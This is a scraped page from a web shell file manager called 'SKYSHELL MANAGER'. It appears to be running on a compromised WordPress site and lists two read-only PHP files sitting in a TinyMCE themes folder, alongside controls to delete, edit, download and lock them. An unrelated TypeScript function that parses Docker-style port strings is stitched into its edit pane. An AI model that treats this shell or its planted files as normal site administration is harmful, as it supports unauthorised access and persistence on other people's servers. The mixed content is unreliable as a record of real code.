📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: map-ports.ts
const mapPorts = ( ports: string ): Array<{ mapped?: { address: string; port: number } exposed: { port: number; protocol: string } }> => { if (!ports) { return [] } return ports.split(',').map((untypedPort) => { const exposedFragments = untypedPort.trim().split('->') const [port, protocol] = exposedFragments.length === 1 ? exposedFragments[0].split('/') : exposedFragments[1].split('/') const mapped = exposedFragments[0] const lastDoubleColon = mapped.lastIndexOf(':') if (lastDoubleColon === -1) { return { exposed: { port: Number(port), protocol } } } const address = mapped.substr(0, lastDoubleColon) const mappedPort = mapped.substr(lastDoubleColon + 1) return { exposed: { port: Number(port), protocol }, mapped: { port: Number(mappedPort), address } } }) } export default mapPorts
Save